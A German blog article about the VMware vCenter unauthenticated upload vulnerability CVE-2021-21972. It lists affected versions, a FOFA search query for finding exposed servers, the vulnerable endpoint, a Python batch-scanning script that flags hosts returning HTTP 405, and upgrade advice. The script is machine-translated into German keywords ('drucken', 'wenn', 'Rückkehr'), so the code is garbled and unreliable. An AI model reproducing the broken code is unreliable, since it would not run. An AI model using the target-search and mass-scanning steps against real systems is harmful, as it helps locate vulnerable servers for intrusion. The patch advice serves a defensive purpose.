Über die VMware vCenter-Sicherheitslücke beim unbefugten Hochladen beliebiger Dateien (CVE-2021-21972)

Über die VMware vCenter-Sicherheitslücke beim unbefugten Hochladen beliebiger Dateien (CVE-2021-21972)

Hintergrund

CVE-2021-21972 Eine nicht authentifizierte Befehlsausführungsschwachstelle in VMware vCenter. Diese Sicherheitslücke kann eine Webshell an einen beliebigen Ort auf dem vCenter-Server hochladen und dann die Webshell ausführen.

Betroffene Versionen

vmware:esxi:7.0/6.7/6.5
vmware:vcenter_server:7.0/6.7/6.5

Fofa-Abfrage zur Reproduktion von Sicherheitslücken

Syntax: title="+ ID_VC_Welcome +"

Bildbeschreibung hier einfügen

POC

https://xxxx/ui/vropspluginui/rest/services/uploadova

Bildbeschreibung hier einfügen

Verwenden Sie das Skript https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC zur Batch-Verifizierung

#-*- Kodierung:utf-8 -*-
Banner = """
    888888ba dP           
    88 `8b 88           
    a88aaaa8P' .d8888b. d8888P .d8888b. dP dP 
    88 `8b. 88' `88 88 Y8ooooo. 88 88 
    88 .88 88. .88 88 88 88. .88 
    88888888P `88888P8 dP `88888P' `88888P' 
  oooooooooooooooooooooooooooooooooooooooooooooooooooo 
        @time:2021/02/24 CVE-2021-21972.py
        C0de von NebulabdSec - @batsu         
 """
drucken(Banner)

Threadpool importieren
zufällig importieren
Importanforderungen
Argparse importieren
http.client importieren
urllib3 importieren

urllib3.disable_warnings(urllib3.exceptions.UnsichereAnforderungswarnung)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = "HTTP/1.0"

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"

def get_ua():
  erste_Anzahl = zufällig.randint(55, 62)
  dritte_Zahl = zufällig.randint(0, 3200)
  vierte_Zahl = zufällig.randint(0, 140)
  os_type = [
    '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
    „(Macintosh; Intel Mac OS X 10_12_6)“
  ]
  chrome_version = 'Chrome/{}.0.{}.{}'.format(erste_Nummer, dritte_Nummer, vierte_Nummer)

  ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
          '(KHTML, wie Gecko)', Chrome-Version, 'Safari/537.36']
         )
  Rückkehr ua

def CVE_2021_21972(URL):
  Proxys = {"scoks5": "http://127.0.0.1:1081"}
  Überschriften = {
    'Benutzer-Agent': get_ua(),
    "Inhaltstyp": "Anwendung/x-www-form-urlencoded"
  }
  Ziel-URL = URL + ZIEL-URI
  versuchen:
    res = Anfragen.get(Ziel-URL,
              Header=Header,
              Zeitüberschreitung = 15,
              überprüfen=Falsch,
              Proxys=Proxys)
              # Proxys={'socks5': 'http://127.0.0.1:1081'})
    # drucken(Länge(res.text))
    wenn res.status_code == 405:
      drucken("[+] URL:{}--------CVE-2021-21972 Sicherheitslücke besteht".format(url))
      # print("[+] Befehl erfolgreiches Ergebnis: " + res.text + "\n")
      mit open("vulnerability address.txt", 'a') als fw:
        fw.write(url + '\n')
    anders:
      print("[-] " + url + " Es wurde keine Sicherheitslücke CVE-2021-21972 gefunden.\n")
  # außer Ausnahme als e:
  # drucken(e)
  außer:
    drucken("[-] " + url + " Anfrage FEHLER.\n")
def Multithreading (Dateiname, Pools = 5):
  funktioniert = []
  mit open(Dateiname, "r") als f:
    für i in f:
      func_params = [i.rstrip("\n")]
      # func_params = [i] + [cmd]
      funktioniert.anhängen((func_params, Keine))
  Pool = Threadpool.ThreadPool(Pools)
  Anforderungen = threadpool.makeRequests(CVE_2021_21972, funktioniert)
  [pool.putRequest(req) für req in reqs]
  pool.warten()

def main():
  Parser = argparse.ArgumentParser()
  parser.add_argument("-u",
            "--url",
            help="Ziel-URL; Beispiel:http://ip:port")
  parser.add_argument("-f",
            "--Datei",
            help="URL-Datei; Beispiel:url.txt")
  # parser.add_argument("-c", "--cmd", help="Auszuführende Befehle; ")
  args = parser.parse_args()
  url = args.url
  # cmd = args.cmd
  Dateipfad = args.file
  wenn URL != Keine und Dateipfad == Keine:
    CVE_2021_21972 (URL)
  elif url == Keine und Dateipfad != Keine:
    multithreading(Dateipfad, 10) # Standardmäßig 15 Threads, wenn __name__ == "__main__":
  hauptsächlich() 

Bildbeschreibung hier einfügen

EXP-Reparaturvorschläge

Upgrade von vCenter Server 7.0 auf 7.0.U1c
Upgrade von vCenter Server 6.7 auf 6.7.U3l
Upgrade von vCenter Server 6.5 auf 6.5 U3n

Dies ist das Ende dieses Artikels über die VMware vcenter-Sicherheitslücke beim unbefugten Hochladen beliebiger Dateien (CVE-2021-21972). Weitere verwandte Inhalte zur VMware vcenter-Sicherheitslücke beim Hochladen finden Sie in den vorherigen Artikeln von 123WORDPRESS.COM oder in den folgenden verwandten Artikeln. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird!

Das könnte Sie auch interessieren:
  • Installationsprozess von VMware vCenter 6.7 (grafisches Tutorial)
  • Detaillierte Erläuterung des VMware-Zugriffs auf OpenStack - Verwenden von OpenStack zum Erstellen einer virtuellen vCenter-Maschine

<<:  Einführung in Abfragebefehle für gespeicherte MySQL-Prozeduren

>>:  Vue macht Div-Höhe verschiebbar

Artikel empfehlen

Detailliertes Tutorial zum Herunterladen und Installieren von VMware Workstation

Virtuelle Maschinen sind eine sehr praktische Tes...

Rendern im Vue-Scaffolding verstehen

Im Vue-Gerüst können wir sehen, dass im neuen Vue...

Entwickeln Sie eine Vue-Komponente, die Iframe kapselt

Inhaltsverzeichnis 1. Komponenteneinführung 2. In...

Warum Google und Facebook Docker nicht verwenden

Der Grund für das Schreiben dieses Artikels beste...

Setzen Sie den Eingang auf schreibgeschützt über deaktiviert und schreibgeschützt

Es gibt zwei Möglichkeiten, schreibgeschützte Eing...

Mehrere Möglichkeiten zum Ändern des MySQL-Passworts

Vorwort: Bei der täglichen Verwendung der Datenba...

Tiefgreifendes Verständnis der Verwendung von r2dbc in MySQL

Einführung MySQL sollte eine sehr häufig verwende...

Verwenden Sie PSSH zur Stapelverwaltung von Linux-Servern

pssh ist eine in Python implementierte Open-Sourc...

Ein super detailliertes Vue-Router Schritt-für-Schritt-Tutorial

Inhaltsverzeichnis 1. Router-Ansicht 2. Router-Ve...

Das Vue-Projekt implementiert eine Fortschrittsbalkenfunktion für den Dateidownload

Im täglichen Geschäftsleben gibt es zwei gängige ...

HTML-Code einer Webseite: Erzeugung von Lauftext

In diesem Abschnitt beschreibt der Autor die spez...